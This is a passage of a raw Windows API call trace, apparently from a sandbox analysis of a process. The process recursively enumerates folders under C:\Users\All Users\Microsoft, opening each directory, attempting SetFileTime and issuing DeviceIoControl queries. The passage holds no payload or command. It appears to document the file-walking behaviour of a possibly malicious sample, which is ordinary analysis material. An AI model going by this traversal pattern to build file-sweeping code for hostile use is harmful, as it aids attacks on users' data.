nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.660] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b5c2290, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7b5c2290, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5c2290, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql447E.tmp", cAlternateFileName="")) returned 1 [0091.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7438 [0091.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb7c8 [0091.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.662] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b5e83f0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql448F.tmp", cAlternateFileName="")) returned 1 [0091.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7458 [0091.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb8d8 [0091.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.664] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b5e83f0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql448F.tmp", cAlternateFileName="")) returned 0 [0091.664] GetLastError () returned 0x12 [0091.664] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.664] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.665] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.665] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b5c2290, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7b5c2290, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5c2290, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql447E.tmp", cAlternateFileName="")) returned 1 [0091.665] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b5e83f0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql448F.tmp", cAlternateFileName="")) returned 1 [0091.665] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b5e83f0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql448F.tmp", cAlternateFileName="")) returned 0 [0091.665] GetLastError () returned 0x12 [0091.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.665] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb630) returned 1 [0091.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.666] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7b5e83f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x7b5e83f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0091.666] GetLastError () returned 0x12 [0091.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.666] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.666] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0091.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search" (normalized: "c:\\users\\all users\\microsoft\\search"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.668] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search" (normalized: "c:\\users\\all users\\microsoft\\search"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.668] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.668] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.669] NtClose (Handle=0x170) returned 0x0 [0091.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.670] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.670] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.670] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0091.670] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0091.670] GetLastError () returned 0x12 [0091.670] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.670] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.670] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.670] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0091.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data" (normalized: "c:\\users\\all users\\microsoft\\search\\data"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.671] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data" (normalized: "c:\\users\\all users\\microsoft\\search\\data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.671] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.672] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.672] NtClose (Handle=0x170) returned 0x0 [0091.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.673] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.673] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.673] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="")) returned 1 [0091.673] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0091.673] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0091.673] GetLastError () returned 0x12 [0091.673] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.673] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.673] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.673] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="")) returned 1 [0091.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.675] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.675] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.675] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.676] NtClose (Handle=0x170) returned 0x0 [0091.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb5a8) returned 1 [0091.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb960 [0091.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb9e8 [0091.677] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0091.677] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.677] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0091.677] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.677] GetLastError () returned 0x12 [0091.677] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.677] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.677] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.677] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0091.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fba70 [0091.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.678] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.678] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.678] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, 